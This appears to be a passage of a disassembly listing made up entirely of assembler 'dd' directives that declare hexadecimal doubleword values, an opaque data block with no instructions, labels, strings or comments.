		dd 13B807Dh, 62136047h,	9A5F014Eh, 3F924544h, 7342F093h
		dd 0C653F200h, 0AB85B576h, 70511C9Fh, 5E003A89h, 0B0D4FA87h
		dd 2F00CD3Dh, 1D0686ADh, 0FF83B16h, 0C70DFD9Bh,	903A0BC4h
		dd 43876804h, 8D01DA7Eh, 0F7264935h, 4BC87679h,	3FC39057h
		dd 302488CDh, 0C22302CBh, 0ACD029ADh, 7D7C3400h, 1C67BF27h
		dd 5FD733D1h, 21000108h, 187D7517h, 0EEB003AAh,	28EB03F5h
		dd 1408AB0Dh, 54298860h, 317E81h, 9B6922C6h, 2B3B1D56h
		dd 8AA56E01h, 998BBC4h,	3C8830B0h, 39C01F5Ch, 0F510D143h
		dd 0F8B750ACh, 8FF61A4h, 0FDF0E931h, 0D43BFCCDh, 82DC3A1Eh
		dd 0C5508500h, 0E28040h, 776A8323h, 73046784h, 0D5D81D00h
		dd 0D07236A6h, 2412002Ah, 802761A8h, 62009BAFh,	51A25648h
		dd 0FC3E4E5h, 0A8FD39FFh, 9EA4D5E0h, 0EB005E88h, 772C37F7h
		dd 776E1ECh, 0A9722284h, 48B26050h, 3000C8C6h, 3EA36E66h
		dd 3E3F4BECh, 0B8805839h, 2695F1CDh, 0F200508Ah, 0EEF363DCh
		dd 7A2520EDh, 1FBC00CAh, 77C559A9h, 67014B31h, 0A795D1B3h
		dd 22CCFA14h, 6EFE009Ch, 0CC58DB01h, 774C1546h,	8C9400B2h
		dd 0D9E63A4Bh, 723F00A6h, 746119AEh, 3807238Bh,	0DD2ACB1Eh
		dd 13F078C7h, 753A603Eh, 694F007Ah, 0B21E7C09h,	45782823h
		dd 0A135E900h, 967A5770h, 0F3EB0213h, 72DA2AC9h, 0E6780F7h
		dd 3792B43h, 946240FAh,	2CE80B49h, 363D5402h, 241DF2D4h
		dd 55407246h, 348A1A10h, 0C1150A17h, 7D88944h, 3313464Bh
		dd 21B8F8A8h, 0FA7A7749h, 0F4003B76h, 937647D2h, 3C030EB5h
		dd 507A9E2h, 310F8579h,	525B8025h, 4914980h, 80E9C560h
		dd 0BF36F110h, 0F5170h,	4D015FE7h, 47E579CDh, 91602D1Fh
		dd 0C3295D19h, 8A132312h, 0E3D2228h, 71349327h,	79447E1Ch
		dd 0F9A92D44h, 12765511h, 5A28822Bh, 84F02F33h,	174A8D9Dh
		dd 0B77D0814h, 221522BCh, 53428C2Ch, 6DBB4475h,	89AD2284h
		dd 22117F42h, 1922C3h, 7C4B3C13h, 1BEB1C6Dh, 5C030D00h
		dd 0E5106C7Fh, 36CB0031h, 3C3F9649h, 831FFFDBh,	2140CFB5h
		dd 80FAD9DAh, 0B675B0h,	90C0D01Fh, 0CBAE5CBCh, 0CE350D07h
		dd 0EF805F24h, 3ADAC8Ah, 57E7E46Fh, 0A898DF3Ah,	7F009789h
		dd 90D7EEAFh, 989276h, 0E6EC4F65h, 0FE1E7556h, 86F4B8F6h
		dd 84125802h, 0E013573Dh, 1DAC5222h, 0F1AB6Fh, 3FA5BAE4h
		dd 4000B2D8h, 5B21B5D5h, 96DB58h, 0F06FAB67h, 3FBAA36h
		dd 0BB6C3C00h, 7E3E9ED4h, 737B0F93h, 0A5A045F5h, 27FAFB67h
		dd 0DEA6FD01h, 0E11D480Dh, 4117C0h, 47145AB2h, 0B77425F9h
		dd 0E8A6A500h, 5F55A998h, 0EB4A001Ah, 6852E411h, 94006D83h
		dd 4CDA4184h, 0D33A20h,	9E803F0Dh, 517AAAF1h, 9F30EF0Eh
		dd 0CCC120A9h, 89EEC7h,	0F2DA6759h, 0F65FBF8Ch,	7A31B407h
		dd 0E00C4A7h, 7E32A5F1h, 50C20E88h, 0C000F786h,	9DBE0419h
		dd 1EDBE802h, 80497AC4h, 0C5CA86C9h, 0C63D0459h, 90C7DF28h
		dd 0FA52118Ch, 5B788E03h, 0F8EEE527h, 7204F9F4h, 0D59E0033h
		dd 62C94C14h, 8D0FA281h, 7D8C36h, 616E799Fh, 532C314Eh
		dd 0F4CF05D0h, 0F1000112h, 1C875DE5h, 4C28F930h, 88396302h
		dd 54C0B686h, 73003050h, 27066E2Eh, 0ECBBC86Fh,	2687B2Ch
		dd 0E2E7814Dh, 86E02E7Ah
		dd 0EE24DEAEh, 2D1DEDB9h, 7E179D05h, 5AF52480h,	0CA8901E8h
		dd 2C67AA9Fh, 27F42471h, 0FAB95F03h, 80C0B113h,	75A41Dh
		dd 0EE13F5Eh, 0ABDC44DEh, 5DDA0F00h, 0B7E675Ch,	0E2BFA34h
		dd 3A03D22Dh, 936D2500h, 20071A9h, 80673E08h, 14F956Eh
		dd 0FBCFEF40h, 8134A475h, 0FCB8E131h, 9CC0F848h, 0DFB7046Eh
		dd 806B22A8h, 3874B954h, 0C99A5800h, 15D53055h,	198F846h
		dd 2FEEB082h, 0D4344F25h, 4900268Dh, 87E7B5BAh,	0E81EA91h
		dd 0C4C5C28h, 51541AC0h, 0C5005230h, 5E39FEA7h,	48BD01BAh
		dd 163C80EDh, 0CACBC800h, 0D204D8E1h, 0B171A400h, 0C3A3FB53h
		dd 0E6E3FA8Ch, 51410F47h, 40FF95F5h, 6E7F80CBh,	988474h
		dd 43884901h, 0C156CDBAh, 172EF0h, 0D74D3A3Dh, 36776D7Bh
		dd 27185F00h, 0B75199B0h, 4C68C0DEh, 6F8C9307h,	7DA8260Fh
		dd 1D1A4017h, 8B2ACh, 1FE32124h, 0DE30D44Bh, 2930017Eh
		dd 4A3A8816h, 5C69024Dh, 48A3F4D9h, 534C5A40h, 2F52EA00h
		dd 0A459CCECh, 0AB3737A6h, 0D9A181F8h, 0BE7880D4h, 93D3BA83h
		dd 0A87A0082h, 0CECF9134h, 0A6501CA1h, 0BE00768Ch, 65626B28h
		dd 41E8C1h, 0EF1EB8AAh,	432F98E1h, 8F450800h, 0F80CB77Eh
		dd 0EC090F1h, 5BBB9795h, 340DD260h, 0CA047D9Eh,	0C5C10E37h
		dd 0EE62A480h, 78010093h, 6C66DD72h, 320C5BD0h,	39E1921Ch
		dd 3D2C0099h, 593AB545h, 0E6EE5898h, 62565000h,	60A115D8h
		dd 6E353A4Eh, 74B61001h, 0D8137508h, 0C64CB89Bh, 4948120Fh
		dd 3918AF07h, 2A90BB50h, 15F7B45h, 0EAED28A8h, 0D7CE9F3Ch
		dd 46A895EBh, 0A9E6634Fh, 0AD805C00h, 81234A76h, 0A0449A61h
		dd 5D7A05h, 8E023A19h, 10FA2D46h, 0A0906BFCh, 3956323Fh
		dd 0EEF88F40h, 1BB3E08Ah, 2492Bh, 0AC277009h, 42D736ECh
		dd 392EB00h, 1AE6C68Bh,	0A3DE009Ch, 0B898D9F3h,	6900AE54h
		dd 0B0302943h, 4D3201h,	7A81A7A8h, 82D37A9h, 8D5F3100h
		dd 9DA06624h, 92B39FCh,	0CBB48B80h, 0C796FBF3h,	3E1E9C01h
		dd 2AD80704h, 0F2720020h, 323D004Ch, 4FF126DDh,	600D9CEh
		dd 6A8BB67Dh, 907C251Bh, 74D600B4h, 632BA964h, 58F8B875h
		dd 19278601h, 0E089F537h, 98D1E1C0h, 55DE00F8h,	692B1D7Ah
		dd 8B004E42h, 0F4DB89EFh, 1EA20891h, 0C2FBFD54h, 0BB303195h
		dd 0B3E569C0h, 66807800h, 7CF9829Ch, 0F96B58F4h, 93CD5700h
		dd 651A860Ah, 0DBC710C0h, 1387A3h, 64179CD6h, 376D09A2h
		dd 22828917h, 61A65400h, 233441h, 2B62A57Ah, 325FF6E9h
		dd 0B77F6718h, 58A366F0h, 0B5015B9Ch, 0DE4AC9B6h, 0A9420FEh
		dd 6E5C7900h, 0C05D2226h, 0CDEF0386h, 0F2041B73h, 20694CD0h
		dd 0C0AB972Ch, 575CE901h, 74309487h, 562D3A2Ch,	664EBA80h
		dd 0A4DC1462h, 70D04Ch,	0F43FD133h, 0E676D7h, 3D5FB01Dh
		dd 0AE95E0A3h, 50318FEh, 0F40142C8h, 414AA193h,	0E40AD880h
		dd 7703656Ah, 0C994DCA0h, 0AAE6F203h, 0F0647206h, 0F8FE0CAh
		dd 9F917774h, 31BD9022h, 95F66075h, 7E0603DBh, 54381D25h
		dd 662BA0CFh, 10056CAh,	4144B705h, 7CC27B74h, 311005Fh
		dd 0AA27C3F0h, 2D00679Fh, 4784EBF6h, 90CCC6DCh,	0ECC8790Dh
		dd 57920255h, 2FD28F1Eh, 0F8CA48C0h, 0BB41FA00h, 0C3DABEF4h
		dd 0FDF00F7h, 57331352h, 0A307613Eh, 2C6C9227h,	60A942A2h
		dd 1477C52h, 0D6868D06h, 20EB66DBh, 0F600F814h,	32758A84h
		dd 0BE8BE82h, 981D371h,	68C09012h, 600035FDh, 0F3223BB3h
		dd 7678634h, 3C6AAE97h,	73CFF091h, 0DD09BDC4h, 0A167CC5h
		dd 0DA033CA1h, 0D3A7E120h, 0FEFAA8F8h, 45EA0F42h, 9DC0C791h
		dd 40CA8846h, 3FB52200h, 8A4E29BBh, 0AA25006Ch,	0CBAFB3D2h
		dd 1500735Ah, 8C2AE588h, 6D4648h, 83E7F980h, 0A3899964h
		dd 0EAFCA605h, 0CDC26842h, 0C118C39Dh, 0C9D5800Fh, 1F7807E8h
		dd 409E8193h, 0EEFAC8BCh, 9C006B8Fh, 1C84EDE4h,	57AAD1h
		dd 275A747Dh, 0C6C38731h, 4B82CB17h, 77E8D503h,	608BFAF9h
		dd 1345CED4h, 1DF6A8BCh, 5397ECh, 5E317E20h, 0D40FE03Ch
		dd 0E3FF9515h, 80722724h, 0FF9A7CEh, 6E5123E2h,	43D2B623h
		dd 0B79D50F8h, 0CF483Dh, 36D993ECh, 0EFB154h, 5F1EC4E6h
		dd 0B9CD8488h, 86A22B00h, 257FA779h, 8C460010h,	0EF12A893h
		dd 6100309Dh, 8B4847EAh, 0B54AF82h, 16A90315h, 0A78F6C18h
		dd 70304D74h, 0B0DB8BCh, 0D1F200B1h, 915009DBh,	831DE18Fh
		dd 8C1603Ch, 0F496C9E3h, 12D8820h, 0B379AD3Dh, 2063826Dh
		dd 25091F09h, 2156572h,	605576C2h, 0BDCF64h, 0B0F2054Fh
		dd 0FA5310ECh, 0BB748A00h, 3FC737E2h, 0C9EE92h,	0EE7978EAh
		dd 0E1966B9Bh, 0A9982500h, 0C7942D80h, 347A1F92h, 0E45842FFh
		dd 5B4054E9h, 575CADB5h, 0A5720014h, 0CEC7CA05h, 8D04008Eh
		dd 0D4BD79DAh, 0A702E5C9h, 46FD6A2Bh, 0E86E434Dh, 0C014354h
		dd 6C9877C4h, 4A0770A8h, 873CBE06h, 1716A33h, 6FDB81E8h
		dd 605B024Bh, 3F00E9CAh, 9E6544E0h, 3A7FBC67h, 75B68Dh
		dd 6E968636h, 0D021020Bh, 2F358F00h, 64B7E68Ah,	1CA78C2h
		dd 0ED01966Fh, 8799A1E1h, 7170227Eh, 76A682C0h,	4B1100D7h
		dd 324A0F84h, 521E1CA4h, 3080EB93h, 187388F3h, 44810978h
		dd 3D0176B5h, 0CC0491FFh, 0F2001172h, 92E849F1h, 27F0FBh
		dd 3C78C588h, 1507B463h, 17DA7500h, 961EC2BEh, 0E0F001B3h
		dd 51A9D0E8h, 148920F8h, 53242C00h, 16768195h, 0F4750033h
		dd 3A8542E1h, 0F501010Eh, 5211B725h, 65D45FCCh,	666F002Bh
		dd 1460D41Fh, 0FD018069h, 0BCC43BAh, 96C8FC2Ah,	0CD9C07B5h
		dd 0F1F9E1D7h, 0E45F7D9Ah, 4B0E3D27h, 2EB2B89Fh, 7007F5Ah
		dd 578672Dh, 493A0075h,	6E30BA93h, 2100F10Fh, 3ED5BF45h
		dd 1233FF3h, 9E64607h, 7367832Bh, 8EB4E800h, 996E9305h
		dd 3080E905h, 0E6CD98h,	0BA6141B1h, 0A656AEBEh,	570221F2h
		dd 668EDEE4h, 1DC85095h, 0EC4406Ah, 2E40094Eh, 0F777D351h
		dd 38CE7912h, 0B86B2800h, 728B434Dh, 12460733h,	0A5713EE1h
		dd 0A6C4806Eh, 390FDC2Ch, 0A03C1D4Ch, 92F95D5Ch, 826904BDh
		dd 0C17C31B4h, 0E1B78E5Dh, 3B106089h, 343593Fh,	60E402CFh
		dd 0DEC4B05Bh, 8B950606h, 28804FC0h, 5E924801h,	0A8BF8427h
		dd 302A2270h, 0D3782479h, 9012F099h, 3B005F4Dh,	0C1F88554h
		dd 5BB000AFh, 0D7CF29BAh, 0DA00A177h, 0B41058D1h, 609F8Fh
		dd 861A6669h, 410CA9FDh, 3E6F6E06h, 1C20B57Dh, 409180D4h
		dd 5389C5D9h, 5E380444h, 0E30A035h, 0AA0AF94Bh,	5210B36Ch
		dd 60331B0Eh, 8CEF0043h, 404BC9Ch, 988A4C2Ah, 387CC0B9h
		dd 0CA001B3Dh, 6609039h, 972032Ch, 756BDC23h, 0BA8F7300h
		dd 4800E4C8h, 2FA74DDEh, 1801A1A9h, 68E10EB3h, 0E3006867h
		dd 81F11033h, 8052CAh, 0A3C7939Bh, 2F92EEA5h, 4D03640Eh
		dd 7871600Fh, 0E44649h,	968D5EAEh, 0F40831F6h, 81F0AF00h
		dd 0ABD09EE1h, 0C011CFDBh, 80BDCD44h, 55CFB7B2h, 9DF58F2Eh
		dd 0C84A0400h, 850307h,	0DC65B65Dh, 1513E516h, 41FDA501h
		dd 0BDBF0BCEh, 1D7498FBh, 0DED00FFh, 69ABE301h,	6B150A77h
		dd 7B88706h, 0BE673905h, 73D72280h, 0B37B3A84h,	85A25B72h
		dd 604802Ah, 0D006096h,	26FDEE63h, 0B8B14780h, 5CA700E4h
		dd 11C5678Dh, 0E400F287h, 0BC1F8658h, 9032C02Eh, 0CA23001Ch
		dd 1B182CD6h, 0C500423Ah, 51973464h, 3F63EE02h,	0EC121DE2h
		dd 2E4400BCh, 0FF7C58CEh
		dd 761F3700h, 1C65305Dh, 2AF7847h, 0E8C82B29h, 18608C24h
		dd 4E48DB0Dh, 2171006Ch, 0DF643B91h, 0F6770015h, 0B72AD5B6h
		dd 0ADF288C3h, 4207681Ch, 0D0B92480h, 2F2C929Eh, 7840142Fh
		dd 38494BF7h, 0E2D507C4h, 32378954h, 3F681EC0h,	0F9200044h
		dd 0B305A76Fh, 0B6C4EFEAh, 0FAC270h, 8033FF13h,	717DAB85h
		dd 0A263DA00h, 79A41487h, 82CA0320h, 0DCBDD8Fh,	0E01F45D8h
		dd 5F3F5900h, 0A7A50955h, 0C87A93h, 4DB3B08Fh, 0D5C7985Ah
		dd 71DD475h, 9846480h, 94A04E62h, 3314001Ah, 7AEDAC61h
		dd 9AE29FD1h, 0C8802EE3h, 0F5F1004h, 6CE59B7Eh,	57666720h
		dd 0CC000821h, 6FC0020Dh, 0ECF556D5h, 0D4700637h, 1CA0361Dh
		dd 0FA76D160h, 187CA80h, 6485185Dh, 3090F967h, 7B1D4C74h
		dd 80804104h, 8D27163Ah, 489622h, 2444D3A5h, 0E30029FFh
		dd 0E4BF0F3Ch, 0E24803C6h, 2457A76h, 0CA7240B1h, 0BC78F8C5h
		dd 594FB403h, 8809F398h, 71AF805Ch, 6C075DD9h, 2A26AA00h
		dd 613791D2h, 0E200ECEEh, 0A0AF740Dh, 0DB314Fh,	1DF78D55h
		dd 3759247Dh, 90606761h, 0B2D58EEAh, 9840E0EDh,	179D4E2h
		dd 0D39D8094h, 0F08F5BFEh, 61005881h, 133134DEh, 0C58DE889h
		dd 1CFAC040h, 0DDC300BAh, 56DCE6A8h, 1C00037Bh,	0E9724424h
		dd 0E18331h, 0A6D62F93h, 80F78687h, 0BDD7B100h,	0BB72A0E2h
		dd 9DF0D3h, 276B57F8h, 8F6ECF9Eh, 0E1464800h, 3FA4B3C3h
		dd 0BCCD002Fh, 0D768CAC7h, 891CF3EEh, 6D40D163h, 1FEC7BD6h
		dd 2BDB134Ch, 8A4A03BDh, 2ED83F22h, 3713EABCh, 680030A8h
		dd 57AAC828h, 4EF00079h, 26ECE527h, 612FBF6h, 7040CFC3h
		dd 0A5DF695Ah, 0D4A2C18h, 62668354h, 0D190ACD5h, 0DB049E01h
		dd 0A2C0E5C2h, 0F81AE8C3h, 76511B50h, 420300C4h, 0E7A9086Bh
		dd 710081DBh, 74507366h, 5499CE5h, 27FF4516h, 9FA50014h
		dd 0EA63DB09h, 13A79509h, 0C57200D6h, 0B081B630h, 0F81A0035h
		dd 0C0B789A6h, 3401E3CDh, 97C4860h, 0E9E4C8BCh,	895700DBh
		dd 4A0BC60Ah, 1402EEB5h, 0EA82A380h, 901C703Dh,	74FE00A3h
		dd 0B6415013h, 7E5C70E6h, 0B4550314h, 80A5039Fh, 57A1C9h
		dd 1F65225Ah, 3699DC77h, 86255403h, 0CA7C29h, 0D1A4DE20h
		dd 0BC5BD9B3h, 0C239E600h, 78625223h, 794CB0A8h, 1BFC01D5h
		dd 0CD1FBE18h, 0D13FE07Dh, 487AC502h, 0DA4DC03Ch, 40EF4E5Ch
		dd 58BC85E0h, 0AA002F64h, 4825F6EDh, 22162FDh, 0C113B41Bh
		dd 6060E4CAh, 8300957Bh, 0E3B593A4h, 2DAC7403h,	67C0A734h
		dd 8F00F1F9h, 0C4279E81h, 79D6883h, 0FA8E578Dh,	9A63C1D1h
		dd 0F8A8FF88h, 0F90908E7h, 8097F5A4h, 2D566D40h, 275C095Fh
		dd 20C45Dh, 0BDFEB161h,	171FA09Ch, 494FE200h, 31878BBh
		dd 4C25B86Ch, 2000A864h, 0BA39CBC5h, 574E44h, 0F963A23Bh
		dd 523AC10Bh, 8BCA9801h, 0E639FE07h, 1BC8420h, 0DBADC860h
		dd 0D09C08D7h, 0B903BF2Eh, 3E24F57Ch, 78FDD2F8h, 3F55006Ch
		dd 78538C35h, 0F90179C2h, 0AB26F77Bh, 3BEC0E6Fh, 77FE76h
		dd 0EEBF4819h, 18A36E2Eh, 61453E0Ch, 78BA2827h,	987F0080h
		dd 40586582h, 0AA0533DEh, 5BCBA26Ch, 0A21794C4h, 88A400FAh
		dd 4997DBDCh, 0BE7F30F7h, 12D65907h, 51A0771Ah,	0B6B070h
		dd 9A22F5E8h, 5F7C30BFh, 56009C7Ah, 281B35FEh, 1D572B1h
		dd 0F2533ECEh, 2CB48AFCh, 23DB0190h, 9679AAF4h,	0B86DE8h
		dd 31683244h, 1CC2B558h, 51223600h, 0C941CC8Eh,	25FC7AF9h
		dd 0A400973Ch, 7FCA4B80h, 95D65800h, 0EF57ABA5h, 535F2835h
		dd 55390090h, 8D1DBFACh, 970084D0h, 8A90FDB4h, 1DFE2A2Dh
		dd 0CC2B5Ah, 0FA15FB1Dh, 0C300D474h, 414080C1h,	90CA46B3h
		dd 0EC9E000Ch, 0C5A23FEFh, 68C085E0h, 4BBC023Ah, 0C9F100BAh
		dd 89A3E9B4h, 29185EA1h, 5311561Eh, 4F9311DCh, 0F16726CAh
		dd 9061F700h, 13E5456h,	0E0FDA71Eh, 6046F404h, 7D007348h
		dd 25DE025Ah, 0E50B51h,	1DE7FE47h, 6B97F95Ch, 2321F100h
		dd 39EB64D3h, 385202B0h, 0DCEDABFAh, 0D4F28077h, 0D7F2A2h
		dd 79494A4Fh, 5752D883h, 66ED7302h, 79842A0Ch, 0C943DE00h
		dd 0B3602C4Fh, 0EE16B801h, 3C644DE6h, 0AF9C24h,	5E9A56CBh
		dd 7AC4F68Dh, 5B0C0900h, 70572365h, 416C0974h, 4C003239h
		dd 0A8AAE31Eh, 34445E00h, 7E0ECBC8h, 2498CDh, 3F6B4987h
		dd 7F6C4E96h, 0D4450600h, 6AD6662Bh, 0E10C0B53h, 48807319h
		dd 618EC3FEh, 0E076200Bh, 189F0C05h, 0F2A704A2h, 801108D5h
		dd 0F65C9A90h, 4705A404h, 44C02FEEh, 0D9BAFAh, 3F9C9335h
		dd 0F9DE9769h, 0C40FD490h, 8255C713h, 4022CAAFh, 986424BCh
		dd 0FC800047h, 0D157DFB5h, 0C27987F0h, 6553FA00h, 0CE06B020h
		dd 0B8F23A74h, 7EFB5F00h, 19422D94h, 384D4C2Ch,	0E174AE00h
		dd 1869F143h, 0B07D8C80h, 36E62619h, 10AF03Ch, 0C2BE0F79h
		dd 43E0C8CBh, 64D048CEh, 1305C700h, 0A2DEF3FDh,	948B6200h
		dd 39AFAC83h, 9FA10460h, 807AECD1h, 0B84E4670h,	25013CB4h
		dd 9D588784h, 0EAC7470h, 94A0B25Ah, 0CE331872h,	630093D3h
		dd 51E4A906h, 0FE9288AFh, 1898D5h, 0F6E2895Bh, 0F38D8566h
		dd 22168490h, 9C806C27h, 3CD9F8FAh, 8B0283B5h, 0B72D8206h
		dd 285C7E60h, 14E4525h,	2E413724h, 0A2D470h, 3DA0FFD1h
		dd 0E7BF31FEh, 3800C8B9h, 5F014F0Eh, 90531D2Eh,	0EFB4C7D1h
		dd 71A2A044h, 622623BDh, 7C018822h, 80B99FA9h, 911960h
		dd 0F85D7B81h, 0E4C835D3h, 8A0E2600h, 7356D77Dh, 0B2790948h
		dd 9C0082DEh, 94E51411h, 0BBBFAF00h, 0D8FAF7ACh, 0C3DE00C7h
		dd 214192B9h, 6B00C6DFh, 2BDC311Ch, 6E4D5Bh, 0CF33391Dh
		dd 7A4C5E3Ch, 2580701h,	84774089h, 42C9BC42h, 0AA50C058h
		dd 0FDF814h, 9A694D48h,	0B0A71C15h, 87F8EF2Dh, 9FF00D94h
		dd 0EB9B4h, 96CDCCC1h, 2BF611Bh, 7BE23800h, 0A7857FB0h
		dd 0F6D8F1C4h, 86E80094h, 0BF161F70h, 7C75BAA5h, 0CE50500h
		dd 0E47782A2h, 0AC334DDCh, 94647307h, 780189F4h, 0C4D339E9h
		dd 0B179D267h, 580E3BFCh, 62BA3C5Ch, 0C1EF77EDh, 0D9FB086Ch
		dd 72B8C54h, 0F7AEE2D0h, 6527B0D4h, 84056A62h, 814E7E69h
		dd 0CC50A3C0h, 0CF560057h, 36BF8EA5h, 0DD01C366h, 5EB24414h
		dd 0AC702B04h, 883F0017h, 0EEA17C43h, 0C716CEF0h, 88808B8Dh
		dd 48E0911Bh, 0D63D7492h, 79A70901h, 0E0E65345h, 0A2006127h
		dd 2F99DB91h, 4EC562h, 7203A8B9h, 8FCDDD1Eh, 0E4ECC9F4h
		dd 0F9692200h, 64AAE11Fh, 9D6A0071h, 1021A5EAh,	0C900EE9Bh
		dd 0C01104BCh, 5844A7h,	7E61BAADh, 2185E23Dh, 7380804Ch
		dd 0DF732500h, 0A6EC0DCAh, 0DD2B1DA4h, 0B59800B2h, 0EBAEFE1h
		dd 0CDF92500h, 24676FA3h, 0A2F6CCh, 1283D20Dh, 0CA443750h
		dd 0D9BB3400h, 928FEAE4h, 2C430746h, 605DAF22h,	0FD725E15h
		dd 5C2B5400h, 0F50261Bh, 2D9F1FEEh, 423CCE66h, 7B8AEF00h
		dd 0CE008F70h, 9AF2B04Eh, 0A9D6EEh, 0F4374FCFh,	8CD0E8ACh
		dd 144D1709h, 0B1F404CBh, 7A8115C0h, 0C0424A92h, 0C4A47709h
		dd 367C3750h, 9AA15A00h, 62B998D6h, 0E2402511h,	26FF9060h
		dd 7DC68B00h, 5F45E8A9h, 0C980701h, 307C444Eh, 0ACDCEE05h
		dd 6E0080B9h, 99CEED82h, 0D7CC00BAh, 0A7B10229h, 3EB86B0Bh
		dd 0F6821500h, 9706525Ah, 0CEF13FA0h, 3D58D124h, 88479895h
		dd 80C2C814h, 0BE106700h, 0B79C5DEEh, 0B0094B98h, 20CE7163h
		dd 0E8C16468h, 9ECBABFh
		dd 0A6B55911h, 92075452h, 139CD5D0h, 97520FCh, 8F2E29BDh
		dd 0DB096478h, 60E1529Ah, 74381Ch, 5EBE4FDDh, 3C894B0Eh
		dd 19464900h, 0A9D5A39Ah, 0F4B001FEh, 0A7C7D3AEh, 80146010h
		dd 674A3A03h, 0B4BAFFCCh, 72541400h, 12245061h,	0AF00A8DCh
		dd 0A1A91BB8h, 0FAD400FDh, 0D7C7441h, 9C002E46h, 8214652Ch
		dd 9078634Fh, 51180094h, 3ABB9702h, 2500D1C5h, 477DB2E0h
		dd 0F89CE4h, 396A8480h,	0DDD4C9A7h, 0ABA98804h,	5C807606h
		dd 715A2060h, 87040071h, 0F1422252h, 291F4189h,	0AAC0AE45h
		dd 38B4363Ah, 0E010003Fh, 0C3955FADh, 0FC000994h, 7BEB3331h
		dd 1C77Ah, 72BFBDF4h, 7D70449Fh, 0EC81B4BCh, 0E888BE4Ch
		dd 6C999E4h, 68C4CA26h,	0B900F0E6h, 6146DA35h, 74691EE3h
		dd 0BCFA28h, 956EA4ECh,	0D3567359h, 88869F13h, 0DBB9C800h
		dd 3D70C1Bh, 0FF657407h, 69B10B2h, 0E96BF2D0h, 0FE0115E2h
		dd 13F7D3B3h, 40E22403h, 39FA8118h, 1401B426h, 8A805F32h
		dd 830C20CAh, 1117C898h, 64525D08h, 9E55E400h, 92CF989Ah
		dd 0A9210F1Ch, 0A4C1F282h, 0EC47CAE2h, 5890D94Ch, 0DE2EEF2h
		dd 0B0DB5001h, 0F9CF624Ah, 4003B439h, 0F2ABB45Eh, 9F3C6FA8h
		dd 3600C87Dh, 67915089h, 1E435B1Ah, 41117E93h, 0FDAE76C7h
		dd 92F8607Bh, 0F3248397h, 0D1CAC8D0h, 0C09F1321h, 0A96604EFh
		dd 8A308031h, 0B31E4C38h, 2849FBB1h, 5CC003Ah, 253555h
		dd 7CA66BC5h, 3BC29A59h, 0E040B125h, 0A2F854h, 8CDFBDC1h
		dd 87315A56h, 0BF256BE8h, 151C401Bh, 0A8D10B99h, 0C88040D4h
		dd 6AC97EC1h, 0E8025CB0h, 1A338912h, 6EB44049h,	2FC701AFh
		dd 67F99945h, 0BEC8245Fh, 0A0F80124h, 0B43DD80h, 1B8E2F4h
		dd 86FC9A7Ah, 0DD4FE0BCh, 0A6D9648Ah, 15EF9507h, 42016C25h
		dd 12F4D3D2h, 6BD4A07Fh, 277B33h, 1999B041h, 0BDD1D81Ch
		dd 0F77C8F00h, 89A546F2h, 1490CDh, 3F8AA8D6h, 0DFABA61h
		dd 14543700h, 17446701h, 0AB76B0h, 3D4377B8h, 0D9AC3FAh
		dd 85A8D712h, 6AA15304h, 7DB490C0h, 1E75071Dh, 0B35B294Ch
		dd 0E8D8C2ADh, 0A0FD3C4h, 625889A4h, 0C2BF44FBh, 83C0604Ch
		dd 857B04F0h, 0BD3A0F9Dh, 7F5C1DBCh, 2292E3C2h,	7BC440E0h
		dd 743B3EC3h, 91E812h, 0D132DF9Dh, 0A43F2F65h, 0BB968F6Fh
		dd 0F904E7EDh, 0DC08165h, 4AD8E2AEh, 2BDC017Eh,	70C3A259h
		dd 8A081360h, 3F863EE3h, 34057402h, 9070604Fh, 0E6F89B07h
		dd 7350647Eh, 0FE81A1h,	917C0BE5h, 0EBFBCBBDh, 9A7D8F1Eh
		dd 4D00B013h, 0B8679BF2h, 0A0E90AE0h, 1DC48717h, 275E8069h
		dd 0DA762F31h, 0A67D060Eh, 0E97EE362h, 1F03886Bh, 60101F0Ch
		dd 8F6A80C2h, 69773A89h, 78C54Ch, 0D4408E42h, 12163C0h
		dd 2C0F6022h, 2A99D8B1h, 74CD840h, 9DB8D80h, 0DD9386E4h
		dd 498BB800h, 0CB246A57h, 338088E5h, 8A99D5EDh,	78AEF8ABh
		dd 9C7200B3h, 0B91655CCh, 0F600352Ch, 0CEB0E8D0h, 7701DAE2h
		dd 50EF3CBEh, 1E8DD400h, 2F096D6Ah, 0F9266700h,	0D2A8E5AFh
		dd 0A5A90ED1h, 0FF20A4DFh, 0E2847FD7h, 2AD95D01h, 4AE91663h
		dd 0EBB8013Bh, 0EA476B48h, 8FA0F060h, 6C6B612h,	9DFBA02h
		dd 0C0907C5Eh, 0A1D8FFAAh, 0E0404D60h, 4A7D08Ch, 0F622A40Fh
		dd 0CD98B075h, 80997825h, 2C4B7138h, 5216241Dh,	0E8EF83A8h
		dd 81980C95h, 173BE20Eh, 40C9A786h, 0C0762B44h,	0DDA7DC38h
		dd 0BCA0544Ah, 0FDE431E1h, 94EBB00h, 91AEA05Ah,	6C700C3h
		dd 34DA2241h, 9900CD1Fh, 84DFC0C4h, 39E3F4BFh, 0D6800803h
		dd 0C7DC2D1Dh, 0DE05A4B9h, 96F63979h, 0FD105BC7h, 1F52FF7h
		dd 0FE8218A6h, 201403ACh, 6D006574h, 0E201659h,	695C2Fh
		dd 352A9539h, 99BF663Ah, 0A6F1303Dh, 8500E3BDh,	0AF8E7488h
		dd 3BC100C5h, 1F40D638h, 56002966h, 0DCC0AE4h, 0C3ACB79Dh
		dd 0E7F6B426h, 0BCD88084h, 0B0002931h, 0D3CE89A3h, 1DE3A4A9h
		dd 405769B1h, 156B8173h, 0FE601643h, 4F6CB330h,	98E7B90h
		dd 3DDFCC4Dh, 0FF6B1850h, 7F18E820h, 248C18DEh,	0D85D042h
		dd 0F63E7900h, 546FA587h, 38DB7A25h, 76CF6Ch, 23B9C6FEh
		dd 1ADEC573h, 81EF4C16h, 20DDF080h, 7CFE18h, 0F5A8B5ABh
		dd 4349772Eh, 0F41F18B0h, 12436236h, 0C08D2555h, 3AD7031h
		dd 87066724h, 93F0F74Fh, 0BA005FB6h, 0DA8096FCh, 0E602F9Ch
		dd 8294FFCDh, 678BF000h, 84A0E8A2h, 79E4EC7Fh, 0E5751800h
		dd 312E3CA0h, 890CEh, 41F9564Ah, 7554365Dh, 6C98EA00h
		dd 1F8FD499h, 0FC9860h,	48DCB5A4h, 244F15DFh, 0D197060h
		dd 30575D0Bh, 2C105987h, 0F9F21A2Dh, 72207E09h,	0EB40004Dh
		dd 0BF0CB6A9h, 36F62400h, 16F0B756h, 0A26E4600h, 0A11FD409h
